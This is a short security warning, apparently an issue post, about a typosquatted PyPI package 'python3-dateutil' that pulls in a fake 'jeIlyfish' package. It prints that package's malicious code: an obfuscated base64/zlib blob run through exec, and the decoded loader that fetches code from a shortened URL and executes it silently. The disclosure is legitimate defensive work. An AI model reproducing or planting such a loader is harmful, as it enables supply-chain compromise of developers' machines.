Just a quick heads-up: There is a fake version of this package called python3-dateutil on PyPI that contains additional imports of the jeIlyfish package (itself a fake version of the jellyfish package, that first L is an I). That package in turn contains malicious code starting at line 313 in jeIlyfish/_jellyfish.py:

import zlib
import base64
# Edit by @pganssle
raise Exception("Exception added to prevent people from running this accidentally")
ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='
ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

which deobfuscates to

# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S
# Edit by @pganssle
raise Exception("Exception added to prevent people from running this accidentally")
import re,sys,os
_out,_err=sys.stdout,sys.stderr
sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb')
try:
 try:from urllib2 import urlopen
 except:from urllib.request import urlopen
 exec(zlib.decompress(base64.b16decode(re.sub(
  r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
 )[4:-4].upper())))
except:pass
sys.stdout,sys.stderr=_out,_err
# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2

I've sent an email to the Python security team and hope they'll take the package (as well as the other ones by the user) down soon, but in the meantime it might be a good idea to check if you have the correct version installed. Luckily it's only been up for two days.